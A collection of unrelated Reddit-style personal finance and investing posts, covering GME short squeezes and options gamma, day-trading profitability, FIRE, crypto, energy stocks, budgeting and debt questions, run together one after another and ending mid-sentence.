+https://preview.redd.it/0vkd90hy7cg71.png?width=1771&format=png&auto=webp&s=ccd4f1fa80d6205db5d032f1e6d847af7f0b5dab + +# Pre-Market Analysis + +Failed a test at 155 a little around 4am with 700k shares to borrow on Iborrow and 992k on Fidelity. + +If we see some strong upward momentum they have 1.6m shares with which to short. + +https://preview.redd.it/oeai6fnk0cg71.png?width=1759&format=png&auto=webp&s=80c146d1c253a17461d1d2b2a708cc81633b30b3 + +**Disclaimer** + +*\* Although my profession is day trading, I in no way endorse day-trading of GME not only does it present significant risk, it can delay the squeeze.* + +*\*My YouTube channel is "monetized" if that is something you are uncomfortable with, I understand, while I wouldn't say I profit greatly from the views, I do suggest you use ad-block when viewing it if you feel so compelled.* *My intention is simply benefit this community. For those that find value in and feel compelled to reward my work, I thank you. For those that do not I encourage you to enjoy the content. As always this information is intended to be free to everyone.* + +\**This is not Financial advice. The ideas and opinions expressed here are for educational and entertainment purposes only.* + +\* *No position is worth your life and debt can always be repaid. Please if you need help reach out this community is here for you. Also the NSPL Phone: 800-273-8255 Hours: Available 24 hours. Languages: English, Spanish.* [*Learn more*](https://suicidepreventionlifeline.org/) +(Repost after Mod required edits) + +Hi r/DayTrading, + +I began conducting research over the past few months to assess Day Trading as a viable profession for myself. + +In my review, I came across stats similar to those found on this website backed by broker data and scientific research : https://www.tradeciety.com/24-statistics-why-most-traders-lose-money/ + +The website indicates with sourced footnotes : + +[1] - The average individual investor underperforms a market index by 1.5% per year. Active traders underperform by 6.5% annually. + +[2] - Only about 1% of all day traders are able to predictably profit net of fees. + +[3] - Traders with a high-IQ tend to hold more mutual funds and larger number of stocks. Therefore, benefit more from diversification effects. + +It has also become clear to me most ‘Self-Glorified & Marketed’ traders online (ex. Tim Sykes, Jason Bond, Petra, Ricky G) are dishonest who mainly profit of selling courses by lifestyle marketing. Most of their websites have been designed as click funnels with various paywalls before receiving their very expensive content which can generally be found online for free. You can find content on these ‘fake gurus’ being exposed with facts from ‘CoffeeZilla’, GuruLeaks, etc. + +It is also likely majority of the day traders on r/DayTrading or elsewhere are losing money overtime. I am genuinely curious, can anyone on this subpage who day trades full time produce, at minimum 3 months of, account statements (w/ sensitive info blocked out) that’s shows profitability to the extent of livable income? + +** NOTE: I understand this is a sensitive subject. This is addressed to those who claim to be ‘consistently profitable’ as a full time profession (not sporadic instances of gains) and are willing to share articles of proof. I’m not forcing anyone to provide statements and no one has to comply. Full autonomy is in the reader’s hands. +I'm 28, and my current financial situation puts me on target to achieve a reasonable property deposit by the time I am in my mid 30's. + +My friends and I often talk about how we got to this situation where so many young people are considering the fact that they may be well into their 40's before they buy. House prices increasing, more time spent at uni instead of working, higher debt etc etc. + +But recently I have started thinking - What if more people never buy? Won't that mean there will be no tangible asset to pass on to the next generation? I.e there must be a tipping point where people don't buy, they have no asset to pass on, the offspring have no wealth...the cycle continues? +Hey Reddit, + +Has anybody temporarily (or forever) abandoned FIRE and went on disability to work on their mental health? Any success stories you could share about bipolar disorder and FIRE? I'm feeling lost and burned out here. Story below. + +I've been pursuing FIRE ever since I found this sub back in 2014. Since then I have changed job families and companies (twice!) and tripled my salary! The career progression has been amazing, and I owe a lot of it to this sub for being so helpful and supportive and guiding my thinking in the right direction. + +However, there is a darker side to all this progression that I work very hard to keep secret from my peers. I have bipolar disorder and often times my mental health is so bad that I stay home from work and don't leave my house or do anything productive for several days. I generally can bounce back before management suspects anything and return to a high level of productivity. + +It's gotten progressively worse over the past couple years and it's to a point where I'm not sure if I can work anymore. I'm terrified I can't keep the pace at which I've been progressing, but also taking a step backwards sounds a lot like failure to me, and any step backwards would be a step into work that I don't find nearly as stimulating. + + +I'm projected to make 185k this fiscal year as a software developer. I have about 110k net worth - $25k in cash savings and the rest in IRA/401k/HSA. 26 years old. +This may sound stupid but I've been hodling since January and I've always just sort of hoped it would work out like all the DD's say it will. This is the first day it sank in that this was going to happen.. that MOASS was imminent, and now that I know that I am filled with anxiety just thinking about the implications. How different is the world going to be after its publically exposed the most iconic "free market" in the world is a fraud. + +This will change everything and I can't be the only ape with anxiety. Hope to hear from some of you on your thoughts. +There has been contention in recent weeks between users, supporters of, and developers of the Binance Smart Chain and decentralized blockchains like Ethereum. + +Proponents of decentralization aren't happy that CZ and Binance dishonestly promote their network as decentralized and 'DeFi', with a number of rumors about just how many of BSC's 21 nodes are operated by Binance (some say 11, others have said all 21, some say just a few). + +After CZ has started bashing Ethereum and artificially infalted ETH gas fees by making all withdrawals pay 10-30% more than ETH gas station's 'highest' rate, it appears that proponents of decentralization have struck back. + +They've launched a DeFi/farming app on BSC about the Tiananmen Square massacre, presumably to force CZ to remove it and end BSC's charade as a 'decentralized' blockchain. + +Here is the smart contract address: https://bscscan.com/token/0xb79c9c73e8c7b4be7244e697e6bdb9f511208e9c + +This is an interresting test of a 'decentralized' system to see whether Binance removes the smart contract or risks getting on the bad side of the Chinese government. I'm curious to see how BSC reacts and if they try to retaliate somehow. +Hey guys, +I wanted to share something many of you living in a 1st tire world countries might not relate to. +I live in Egypt ... a beautiful very old place .. with inflation rate constantly between 7% -20% for the past 40 years, and some times 35% like last year. +The value of our fiat currency which is called the Egyptian pound compared to the US dollar is as follows .. 3.8 EGP/USD in 2001 , 8.8 EGP/USD in 2016 , 17.9 EGP/USD today. +Saving money for future in our fiat currency have worked very very badly as you can tell, top 1% of our society control around 48% of the wealth, and those doesn't own fiat, they own land, gold, factories and other assets .. leaving us with the worthless fiat paper. +Freeing the exchange rate for our currency in November/2016 wiped out half the value of the fiat holdings for all the Egyptians. + +And here comes the moral of this little story, Letting the money valuation in the hand of some old stupid corrupt individuals in the government who wasted our hard earned money through their stupid selfish decisions is not right and can never work in the favor of the people, I as another 100 million Egyptians have seen and felt it. +This story is very common if you looked closely to other countries like Greek, Turkey, Bolivia, Iraq, Argentina and many countless African nations. + +I believe in Bitcoin because i trust Math and logic more than i trust my government corrupted officials. +I believe in Bitcoin because i am okay with it going up or down, when knowing with my fiat there's only one way the DOWN way. + +Have a nice day you all, and as always HODL :) +This literally astonishes me on a daily basis. Especially when people view them as an "environmentally friendly alternative." 50% of US electricity comes from [coal-fired plants](http://en.wikipedia.org/wiki/Coal_power_in_the_United_States). These plants contribute nearly 40% of the total of US CO2 emissions (vehicles are currently 32%). Couple that with the fact that electricity is horribly inefficient to transport (which is why your electricity comes from a local source) and the fact that there is NO infrastructure to support electric vehicles and its even more absurd. + +Its actually and even worse idea than corn-ethanol. + +When will America wake up and learn that the next step is diesel and bio-diesel. They comprise 40% of the market of autos in Europe and are vastly more efficient/clean. Further, bio-diesel can be made from dozens of different products. Lastly, the infrastructure is already there. Every gas station within 5 miles of a highway has a diesel pump. Gradually switching from gas to diesel would be a matter of switching already existing pumps. +In the last couple of months I've been using cashback site Quidco for most of my online purchases. I've build up a small balance of £80 which in 6 months seems reasonable for purchases I would have made anyway and I now consider it as a small savings pot. + +Do you use these sites too? How has your experience been? +How this relates to GME is that of course we need the market to crash in order to push the portfolios of shfs into the danger zone where their long positions are no longer worth enough to meet margin requirements against their short positions. + +This is putting all the major players in a jam since they need to get out of their long positions before the mother of all crashes but can’t get out of them too quickly or everything will snowball due to that tremendous pressure on the portfolios of anyone short GME. In my opinion this is why the market has kept pumping to ungodly highs. Turns out all those major players are less competitors than they are part of a cartel, a cartel in which retail is completely excluded. + +Enter the absurd premises for large market drops spread by MSM. We’ll probably see many more of them in the coming days and weeks after huge red days. We’ve got to remember that most retail investors watch mainstream media and more or less believe the general narratives presented there. MSM’s trick will be to leave easily discoverable Easter eggs, like the covid variant fear story yesterday, to compel these retail investors to buy the ‘dip’ of their own accord and thus slowly but surely trade places with institutional investors and become the biggest bag holders in modern history. +People have ignored energy stocks for too long, soon they will realize that tech has less intrinsic value than energy. Russias fuckery is the catalyst that already has given up their future dominance on Europe’s LNG + +Approx 40% of European natural gas is from Russia. Even if nothing happens with Ukraine, this relationship has been irreparably damaged. There is no doubt that western european countries are looking for/ have realized that they can't be this reliant upon Russia for energy. My thinks: go long with shares and leap calls on good US and western European LNG stocks, especially ones that have not recovered from covid march 2020 dip + +Competitors of Gazprom and other russian energy companies will increase in value as western europe moves away from russia dependence + +There already sanctions announced and there is no doubt that Europe realizes that they can’t be this dependent on the poot for gas. + +https://www.nytimes.com/interactive/2022/02/15/business/energy-environment/russia-gas-europe-ukraine.html + +Already starting to happen: + +U.S. LNG Exporters Set a New Record for Daily Volume, reported saturday after the calls were bought + +“According to Bloomberg, U.S. LNG exporters set a new loading record on Saturday (2/12), when - for the first time ever - every one of the nation's seven operational terminals had an LNG carrier berthed alongside. Together, these plants took in a record-setting 13.3 billion cubic feet of natural gas on Saturday, roughly equivalent to 10 percent of the daily natural gas demand of the United States in winter” + +They need magic boats to carry LNG so I’m trying to narrow down the best buys on that front- GLOG, GLNG, CVX…. + + +I’m the most bullish on EQT, the largest natural gas producer in the U.S. + + +Positions: 40 shares of LNG @120 + +10 LNG call $165 6/17 + +200 EQT call $30 3/18 (I realize that this was maybe a little too ambitious) + +Some whack EQNR fd’s Getting into a better EQNR position asap + +It also seems like a lot of LNG and energy companies are reporting on 2/24… a bunch of good forward looks could spur a jump across LNG stocks + +Please feel free to roast or share your insightful insights + So my brother was born with some severe mental disabilities, and the State has been paying my Dad to take care of him full-time. After 43 years he passed away suddenly a couple of weeks ago, and my Dad is no longer employed. He's looking for work, but in the mean time are there any programs people are aware of that can supplement him until that time? He was earning income and I believe it was taxed so unemployment is potentially an option, but might there be anything else? +A lot of you didn't trade with the volatility of early to mid 2020 and it shows. I'm not going to give you some poetic speech about how everything is going to be ok, and I'm not going to pretend like this is some huge market crash either. There are red days, green days, red WEEKS, green WEEKS, this is the nature of the market and speculation. Get used to it. + +This being said, this is a negative sentiment megathread. All "the sky is falling," "what to do on red days," "HODL," and any other inpirational red day comments go here. All others will be deleted with no reason given. + +Good luck out there. Lots of good stocks on sale today. Today is a perfect reminder to always keep some settled cash cycling. RED DAYS ARE BUY DAYS! +Coinbase just added Bitcoin Cash to their service without any announcement. There is clear evidence of insider trading which should be outrageous enough on its own but I feel like people are missing the other part of this. Coinbase, the largest exchange in the US, geared towards inexperienced crypto investors, just added a new coin to their service without warning. + +We knew it was coming but it’s unacceptable that the date and time was not announced well in advance. This is market manipulation and this should worry a lot of people. BTC crashes and BCH gets pumped to the point where Coinbase feels the need to halt trading. What did they think was going to happen? I’d like to chalk it up to incompetence but all the evidence points to incredibly shady behavior. We should expect and demand better than this as a community and I hope the SEC or any other relevant regulatory body investigates Coinbase thoroughly. + +EDIT: It’s shocking and disappointing to see people justifying insider trading and market manipulation. Saying they’re going to release Bitcoin Cash “before January 1st” is not even close to the same thing as specifying a date and time in advance to the release. You don’t have to take my word on how this created mass instability in the market. Just look at the last four hours. + +EDIT 2: The point is Coinbase should have been transparent and they weren’t. If they had been specific with the timing, you wouldn’t hear people complaining. + +EDIT 3: http://www.bbc.com/news/technology-42425857 BBC article citing exactly what I said about insider trading. + +I’ve received so many responses saying that we “knew it was coming and you’re just salty you missed the boat” and “you’re clearly just a BTC shill.” The assumptions about my motivations for this are borderline insane. This has nothing to do with me being salty about not buying BCH as everyone has (unnecessarily) repeatedly said that I could have bought a long time ago. It’s almost as if this has nothing to do with me making money and everything to do with transparency and fairness. + +Announcing a specific time matters. It reduces uncertainty and gives the people participating in the market the best opportunity to make decisions. In what world is transparency a bad thing? + +EDIT 4: And now a Yahoo finance article + +https://finance.yahoo.com/news/leading-crypto-brokerage-coinbase-fire-possible-insider-trading-bitcoin-cash-162147599.html + +EDIT 5: So people are saying that they did announce the release (they didn’t no matter how much you’ve deluded yourselves into thinking that they did) and also that if they had announced it, it would have spiked anyway. So which is it? Cause it can’t be both. + +BCH would have certainly spiked both at the time of announcement and at the time of implementation but because uncertainty is reduced and the road map is clearly defined, the market has a better way of dealing with it and anticipating it. Announcing the day and time trading begins does not shock the system in the same way that allowing trading without warning does. + +Also are we just ignoring that they allowed trading with no liquidity causing the price to skyrocket and people to lose money in buys and arbitrage attempts? Why are some of you bending over backwards to defend at worst, fraud and at best incompetence? +I am 23 y/o and for the first time in life (I am independent of my parents since I am 19) I am not totally broke, meaning I have enough savings to last for 6+ months. I will never forget the Christmas I had to borrow money from a friend so I can buy my parents a chocolate bar for a couple of euros as a present when returning form the university abroad. Or when I went to buy the groceries and the self checkout machine didn't accept a 1 euro coin and that was the last money I had at the moment. + +Thanks to all the good folks who take their time to contribute to this amazing sub, I'd like to personally share the things I've learned, hoping that it might help someone. + +1) It's ok if you can't afford it, don't let others pressure you. I got myself into trouble time and time again because I let other people to pressure me to do things I can't afford. Living with my gf in a place which is way over my budget, having dinner dates too often, that kind of stuff. It's very hard to say no to a person you care about but you have to. On the spot, you may think 'it's ok, I will cut down on my spendings this week, will make it up'. Sounds easy, but usually it's really really hard especially if you are on a tight budget already. + +2) You get bored of fancy things really easily. It might be really tempting to live in a fancy apartment, drive a nice car. You can imagine yourself waking up to the nice view from the 30th floor in the city center. But you know what? It's exciting during the first week only. Maybe the month. That's all. After that, it's just a regular thing you don't pay attention to but you keep paying for. I've spend loads of time in super fancy apartments (co-workers, bosses, etc), I was like 'wow, like in movies' for the first few times. Later, I didn't notice anything cool about it anymore. + +3) Small expenses are crucially important. For some time, I've been working quite hard, was paid reasonably well, didn't make any major purchases and still I was totally broke. It was a bit depressing - I am working my ass off but still I can hardly afford basic clothes, my last shoes are leaking water and my feet are wet the whole day. I was spending A LOT of money on cheap crap every day. A can of coke, a chocolate bar, that kind of stuff. It seems like it's not that much, a few cents for a can, but multiply it by 365 and oops, we have problem. Before you notice it, it becomes a habit, like buying a can of coke every morning on the way to work. It's very likely, you might have a few habits like that (maybe a cup of coffee at Starbucks after work?), making things even worse. Sounds obvious but try to calculate how much you've spent on these things during the last month. Chances are, you will be shocked. + +4) Keep the expenses low, but never stop thinking about increasing the income. There's a limit to how much you can cut down the expenses. Try to learn something new every day, keep learning new skills. Just like small expenses on crap, it adds up to a lot. I've been able to double my salary in the 2 years, and regularly reading books, blogs in the evenings was a major factor. + +These are the main things I've learned. I hope it helps someone to change their habits and making the life more enjoyable! +Listen, this may be a controversial opinion here, but, money is power. Money can buy happiness. There has not existed a single depressed rich man whose sadness can be cured by losing his money. If you are in your 20’s, make money. Seriously. Yes, I know you want to party and live the life- but once you’re in 30’s, you will have family to take care of, and 40’s, you’re too invested in one skill to change profession out of security. + +Lots of times, on r/jobs, I see post about “hey I’m making 200k a year as a butterfly flyer, but my true passion lies in paper clip literacy and have offer for 200 bucks and 2 paper clips per year: really hard choice, which should I choose?” again, yeah, I can heard your gasps “but you are supposed to follow dream! If you don’t enjoy work, don’t do it! Is a 15% raise really worth another year of company that dares to give single plyer TP?” + +I don’t subscribe to this notion. If your passion is English major but have a job in dentistry- you’re NOT MAKING A GOOD FINANCIAL DECISION BY CHANGING. Sometimes good decisions does not make us feel “good” inherently. + +I mean if you work is literally a danger to you, physically and mentally, yes, you can change. But my point is mainly really about people that “chase” their dreams. Way too many people that had 2.9 GPA applying for med school and wondering why they haven’t matched in 3 years with 300k debt in account. Do what you can in your own power lane, but also think more critically about how much sacrifice you’re willing to make to have the security deposit early in life when you have less need for it so you have much more choices later. +Would those of you who trade options as your primary source of income be interested in sharing your story? How long did it take you to make this transition and what has helped you to continue moving forward despite losses? + +I started seriously trading options on 8/27. I placed a few trades in Jan/Feb but didn’t really know what I was doing. After a long break, I’m back. + +It has been interesting so far and I hope to make it my primary source of income one day. I enjoy hearing other people’s journeys and like the idea of learning from those with more experience, so please feel free to share any tips as well. :) + +My favorite books on the subject so far are “Understanding Options” by Michael Sincere and “Charting and Technical Analysis” by Fred McAllen. +I made sure and triple checked that we had the address right, the rep over the phone said everything looked good, I was eligible, etc. Then I get a bill almost double what I was quoted. I reached out to customer service and they told me I'm not eligible for the promotion at my location. How do I handle this? I'd like to make a formal complaint with the right person and I'm not sure if I can even get my money back. + +UPDATE: I ended up closing my account with them. Since I had it less than 7 days I won't owe any charges and there isn't a fee for cancelation. +From CNBC: + +Take-Two Interactive is buying mobile gaming company Zynga for $12.7 billion, marking the latest blockbuster acquisition in a string of major deals in the video game industry. + +The company announced Monday that it would acquire all outstanding shares of Zynga at $9.86 a share, a 64% premium to Zynga's closing price Friday. Shares of Zynga skyrocketed 49% in U.S. pre-market trade. + +"This strategic combination brings together our best-in-class console and PC franchises, with a market-leading, diversified mobile publishing platform that has a rich history of innovation and creativity," Take-Two CEO Strauss Zelnick said in a press release. + +Actual article [here](https://www-cnbc-com.cdn.ampproject.org/v/s/www.cnbc.com/amp/2022/01/10/take-two-interactive-to-buy-farmville-creator-zynga-for-12point7-billion.html?amp_js_v=a6&amp_gsa=1&usqp=mq331AQKKAFQArABIIACAw%3D%3D#aoh=16418183790957&referrer=https%3A%2F%2Fwww.google.com&amp_tf=From%20%251%24s&ampshare=https%3A%2F%2Fwww.cnbc.com%2F2022%2F01%2F10%2Ftake-two-interactive-to-buy-farmville-creator-zynga-for-12point7-billion.html) +**TLDR:** GME likely to be very volatile next week around $30, $35, $39-$40 especially. 39/40 pass would force about 5m shares of net-buying by MMs, while passing through 30 is about 4.5m shares of additional selling. 36/37 and 31/32/33/34 are more stable. If price shoots up into the mid 50s 🚀🚀🚀🚀 , definitely duck for cover Friday. Margin changes are actually bearish. Consider being on a brokerage that pays to loan your shares to shorts if long, because it's very profitable. Shorts can be squeezed, but so too can longs who use call options, and shorts who use put options. + +Important note: The massive melt-up we had this week was a GAMMA SQUEEZE. Options market makers had to buy about 30m shares (or cover short shares, thanks Melvin Capital, then buy) while going on that run from 20 to 40 to hedge their positions. That as you know is more than half the float. My belief is that gamma effects will continue to be a big deal - but less of a big deal than last week because we have less options near the money now. **Ironically, Melvin Capital made this melt-up far stronger, contributing 5m shares of forced buying in a rapid spike at $24/$25.** + +**Details:** + +I’ve seen a lot of discussions about GME over the past week that are missing important bull and bear elements in the thesis. This sub is so incredibly bullish 🚀🚀🚀🚀 that unsurprisingly, there’s more missing bear arguments than bull, and bearish information is sometimes perceived as bullish (such as the margin requirement increases, which I feel are net-bearish). But there's also missing bull information, namely that more new gamma ramps exist high than low it appears, and they appear pretty large. + +I previously posted about some option dynamics last week, that seem to have played out to an extent. I actually lost money on my puts because the expressed vol was less than I thought, and Friday ended up playing out in a basically neutral way from a bull/bear perspective with a mere 10% drawdown. That post is here. I correct predicted the outcome, but didn’t predict the magnitude well enough and thus my trade sucked: + +[https://www.reddit.com/r/wallstreetbets/comments/kxb7dy/analysis\_of\_massive\_potential\_gme\_forced\_selling/](https://www.reddit.com/r/wallstreetbets/comments/kxb7dy/analysis_of_massive_potential_gme_forced_selling/) + +In this new post, I’ll cover what I know about current option structure (and will update once updated data for Friday comes out), and the implications (TLDR: Mostly, expect vol around multiples of 5 in stock price), as well as other trading dynamic topics that I think are misunderstood or rarely spoken of. + +I’m not going to talk about my opinion of the value of the stock or the turn-around plan. I’m actually in what is a modest put position for me at the moment (jan 22 $38 puts x 80), but I fully acknowledge this could go to the moon 🚀🚀🚀🚀 next week and I'll feel like a miniature Melvin capital (though shorting at $38 is a lot smarter than at $17) and probably deserve it in that case. + +**Current Option Structure:** + +I will update this as new data gets in, but you can see big concentrations of options at 30, 35, 39/40 and 45. There isn’t open interest data for Friday, but volume suggests there are further ramps at 50/55/60, but they are probably smaller than the 39/40 and 30 ramps. Normally, dealers are going to be long calls (from people selling covered calls) and short puts (From people buying protection). On GME I think we all know it’s short calls and short puts, since people are buying tons of calls from them, and also speculating with puts. As such, dealers are extremely short gamma, and that means that prices accelerate from dealer activity greatly. When the stock sells, the dealers have to dump stock (or short it). When the stock goes up, dealers have to buy. **I believe that the Wednesday melt-up was as much a short squeeze as a gamma squeeze, as the price moved over a bunch of OTM options, forcing dealers to buy as much as a bit more than 1/2 of the total float of the company to hedge! Further evidence of this is that the stock went parabolic but then stopped being parabolic once past the peak option strike available on Wednesday - $40. Without the dealer lift, the rally slowed a lot.** This is why I think it looks as much like gamma squeeze as short squeeze. It’s also why gamma positions this week are important, but they are smaller than what was available going from 20 to 40. + +These patterns are most sharp at these large concentrations of strike prices, so the stock can jump from 39 to 41 a lot easier than from 36 to 38 as an example. On average, it’s about $1m of stock bought/sold by dealers per percent change. To put in context, there was a jump Friday where about 250k shares got bought and moved the price 5%. That means that if accurate, dealer activity might have been up to half in that flash. **We don’t yet have the Friday data, but there was a lot of Friday volume. This amplification may be greater next week. This week had a gamma event on Wednesday, after which there were a ton of ITM WSB calls and OOM Melvin puts that don’t have gamma, and thus the price de-volatilized somewhat. But we may now be in a situation with a lot of near the money options, which means we could see very large gamma squeezes up or down again.** + +Here’s the structure, I’ll update once there is Friday OI data available. This chart assumes that calls are positive gamma – they will all be negative gamma in this case, so predict accordingly. + +[https://imgur.com/a/czrKy6X](https://imgur.com/a/czrKy6X) + +Also worth mentioning is the expirations next week. Here’s the current structure for next week, using Thursday data, which I’ll update once I get Friday data: + +[https://imgur.com/a/4wKTspB](https://imgur.com/a/4wKTspB) + +This is a lot less bearish than the Friday we just had, but again, I’ll update once I get the data. It’s still a net sell on Friday as those option positions get cleared out (people sell to realize, and then buy other things in general), but more like under 1/10th of float vs the 1/3 of float we were staring at this Friday. Unless people piled into ITM calls Friday, which I find highly unlikely. As such, the downwards force this coming Friday, if this Friday was -10%, is more like -2 or -3% in a vacuum. However, the higher the prices go into Friday, the more selling this in turn causes Friday, so in a world where we end at $55 on Thursday, I'd definitely not go into Friday long as this forced selling increases. + +My sense out of all of this is: + +\- The current gamma structure provides more ramps up than down from $35, but there are strong ramps in either direction. BUT, the volume suggests a lot of new put positions were established. On net – volatility up, not bearish or bullish. You could maybe argue very slightly bullish I guess. + +\- There is some forced selling this coming Friday, but if that was the driving force yesterday, it would be a -3% or -2% not a -10%. Slightly bearish. Can change based on price. + +\- If the stock moons this week, I would encourage you to approach Friday with care, and a more bearish or defensive mentality, even if fundamentally bullish. Similarly, if we are in the 20s, there are situations where friday eventually becomes forced buying from a ton of short term puts printing, and a bear would not want to be short into Friday. + +\- A LOT of capital went into OOM puts and calls this week targeting the week after. If the stock is not volatile, a lot of speculators bleed out on both sides. And those numbers may update my assessments above one way or another. + +**Margin Changes** + +There was a lot of talk about how various brokerages have increased margin requirements on GME stock. Some set to 100% (Schwab), others set up a bit (TDA from 70% to 75%), others rumored to be planning but haven’t (IBKR). The reaction of the sub is that this is bullish. It’s actually bearish, albeit slightly. + +The reason is that most of the shorts, in my opinion, are institutional. Retail will typically short with OOM puts which don’t cause much actual selling to hedge. Institutions short GME are going to have that in a giant account with a ton of other assets, so changes on margin placed on them, if indeed that happened, wont margin call them except in scenarios where GME goes up 20x in a day or something. + +On the other hand, if you are a retail trader where half or all of your positions are GME, this margin change does effect you, especially if you were out on margin, and it makes it harder to buy more shares. I don’t think many retail traders are directly short the stock. Anyone want to raise their hand and admit they are 50%+ GME and on margin to do it? + +Also, consider the context -retail brokerages just did this on the back of everyone here buying shares long. That to me suggests they are looking at customer accounts, seeing some over-extension, worrying about it, and setting the rule to prevent themselves being burned. Some of you have a net worth of mostly GME in your levered account. If that gets squeezed down and a liquidation is forced those brokerages won’t be seeing the money. + +So, I think the margin changes are a bit bearish, but not hugely so. I would also urge you bulls to not set yourself up to be squeezed, which is my next point. + +**Squeezes and Short Interest** + +It’s true that this stock has high short interest. There’s contradictory evidence as to if the shorts went up this week or went down. IBKR share availability suggests it may have went down, other sources suggest up, and I'll update once we have solid post-Friday data that someone posts. However, just because the short interest is high, doesn’t mean that it can be squeezed easily from here – Wednesday I think was that squeeze. A lot of the old shorts may have covered then, and we may be looking at new shorts. It’s also possible that these institutional shorts hedged with previously deep oom call options and ironically further helped create the melt up, but didn’t take losses after a certain point. It is worth noting though that MMs engaging in 30m shares of buying (Some of which was short covering) only doubled the stock - and they are now long stock and will loan it out to short sellers all day. + +Additionally, while GME longs here on stock are not squeezable if not on margin, those of you on OOM call options ARE squeezable, and those of you on ITM options are in a sense even more squeezable. OOM call options decay if the stock doesn’t go up, and then the shares dealers bought to hedge the call they sold you get sold back into the pool. ITM options, when sold, do the same but more powerfully – selling a very ITM call option on GME means a dealer immediately goes out and dumps 100 shares of GME on the market. If you in turn buy 100 shares, it’s netural, or if you buy a bunch of NTM calls, you might even cause a net buy. But, those will tend to cause selling if people take money off the table and as time goes on. + +And yes, there are a TON of new put options, and those get squeezed out too. + +So there is a dual squeeze potential here – shorts vs their losses and borrow fees and decaying option positions which cause dealer buying, and longs using margin and longs in call options fighting time and also watching dealers dump their hedged longs. + +One other thing - contrary to what I sometimes read, Melvin Capital was already squeezed, or rather, their dealer was by proxy. Wednesday was that squeeze. They bought a bunch of ITM put options which forced dealers to sell a ton of stock to hedge. When the price shot up, dealers bought into that short they made to hedge the Melvin puts, and now the Melvin puts expired worthless. Melvin can not be squeezed further unless they enter a new short position of some type. They lost 55M on that trade, and they manage 20 billion. They may be back in it at this point, shorting this even harder is within their power... + +Lastly, it has been brought up that some of the GME short, especially those puts lurking at $2 and $1, are hedges by bond holders against bankruptcy, or are hedges by those who sold CDS to bond holders to hedge their short CDS. Those are going to keep accumulating because bankruptcy is possible (though unlikely) in the few year range, and getting those puts now is basically free. But they won't affect the price since they are so far OOM. + +**Uptick Rule** + +Because the stock was down a lot Friday the uptick rule was triggered until eod Tuesday. That means shorts can’t sell at the bid to force down price they can only sell at the ask. In practice this won’t matter a ton since you can still buy puts to make a dealer do this, and my understanding is they aren’t subject to that rule anyway. EDIT - dealers do have to obey this but appear to be net long the stock currently so would not be affected. I thus feel this is very slightly bullish. + +**Yield Enhancement Program** + +A pro tip I have for this sub is – if you intend to hold a ton of long stock that is in high demand by short sellers, you should get paid to lend it to short sellers. That’s how the option dealers make a lot of their money – I’m sure citadel is making a killing holding a ton of GME stock to hedge, and promptly lending it to hedge funds at 30% borrow rate, while having very little risk. + +Many brokerages don’t pay you for lending your shares out, but IBKR does. Right now, if your GME shares are loaned out, you get something like 15% annualized in rebates. WeBull, Fidelity and Schwaab also will do this, but I've not used their programs, and you probably have to ask them to sign up. This doesn’t work if the shares are in margin, they have be fully paid and settled, but it is a substantial extra if you are a long-term believer in the stock, and on other brokerages, they get paid instead of you. If any other brokerages have this feature that are non-institutional, please post and I’ll add. + +It is worth saying that you reduce the cost to short if you do this. I always allow it on my account though because I like the money more and think I’ll beat the shorts eventually anyway. Some money managers never do it so as to not fuel the shorts. But it does pay. + +**A Few Other Thoughts on Shorts** + +Institutions do sometimes hedge large short positions. It is possible that some of the calls held on Wednesday that caused the giant explosion up were hedges for short positions held by hedge funds/family offices and others. The fact we didn't see a lot of selling Friday suggests that at least the near the money ones were mostly NOT held as hedges, otherwise they would've been more monetized. But, it's possible that the short pain is less than thought. We just don't know. + +**Conclusion:** + +I think the major factor here remains simply the desire of this sub to pile new money in. However, it’s hard to maintain this volatility level and ever higher prices for more than a few weeks without additional catalysts because options are getting pricey and decay will set in, and the higher the price, the more money is required to buy a share. + +\- The margin changes, again, are definitely bearish. How bearish? That depends on how many of you guys bought a ton of GME shares on margin and whether or not we gap down Tuesday. I don't think it affects the short interest much. + +\- The option situation is probably net bullish Tuesday/Wednesday/Thursday, but net bearish Friday (slightly)… but does mean that next week can be insanely volatile + +\- Price moves are easier in the vicinity of $35, $30, $39, $40, and to a lesser extent, $45, $50, $55, $60 due to gamma 'ramps'. + +\- I’ll post new data when I get it. It could change the picture to be more clearly bearish or bullish, not just volatile. I'll try to lay out estimates of how many shares MM hold, and then updated gamma ramps, as well as expected MM position holdings at various price levels at the end of the week. + +**Update 1-19 AM -** My tool hasn't received nasdaq data yet, but eyeballing the chart it's more or less as before. Large gamma ramp at 40 (huge option positions at 39/40). You saw this at open when you guys bid the stock, and MMs had to buy about 5m-6m shares to not be underwater, providing perhaps 2/3 of the initial buys. We then aw a loss of momentum in the gamma dead zone of the 40s. As I said, lifting into the mid to high 40s is a heavy. Bulls, you should not really pay a lot of attention to gyrations from 37-42, up or down, that's just dealers rolling over options. You had a strong start in any case, but that price zone is going to be extremely volatile this week. +Some context, 26M, with a strong start to retirement savings. Continually saving between 35-50% of income across different accounts like my employer 401, personal brokerage, personal Ira, etc. + +I was sitting around thinking today, my goal is always to “retire” as soon as possible. I think 51 is a stretch goal, but worst case I would expect 56. + +I would have the chance to borrow against my brokerage account for accessing money, but I didn’t have a full plan of how else I will support early retirement before I can take distributions. + +I understand owning real estate can give cash flow, and as I mentioned borrowing against my accounts but I feel like I need to figure this out a little. + + +TLDR- + +How are you planning to, or currently, funding your early retirement before you’re able to access retirement accounts? +27yo, 701 credit score, $2352/month net, $820/month bills, 5k in savings, $200 secured credit card through discover, 2k left on auto loan. +Recommendations on what to do next? +What is the best course of action to take with the $1000? Obviously I don't want to spendit, but APY's Are so low on saving accounts and even money market accounts. Any suggestions for a better return on my money? + + + + + +We’re late to this financial planning thing and so we don’t have any college fund/account for our kids (10, 9 & 5) yet! + +Just realized that the first 2 will be college bound in less than 10 years! My anxiety has gotten a hold and is escalating..help! + +We plan to open a separate brokerage [Fidelity] account for them for a more aggressive return, however, my mind keeps coming back to starting a 529 instead. + +Can you advise on the better approach? I’m 99% sure that kids will go to college. + +Edit: Thanks all. Really appreciate all the tips and additional insights! I’m a lot calmer today 🤗 +So what happened was - I sold my house because I'm getting divorced. My portion of the house sale was $100,000 dollars and I have 94k in debt (credit cards, auto loans) that if I were to pay off in full would leave me with about 6k or so leftover to move and start my new life. + +I'd love some advice as to whether I should I pay off all of my debt now or only a portion of it? I really want to be debt free but I also don't want to be without any money saved up. I will need to have money available to move myself and set up a new place on my own. + +Thanks in advance for any and all advice given. + +Update: +I met with a financial advisor from Fidelity (provided by my job) who gave me their suggestion of saving enough for 3-6 months of expenses and to pay off my high interest debts. In my case, that 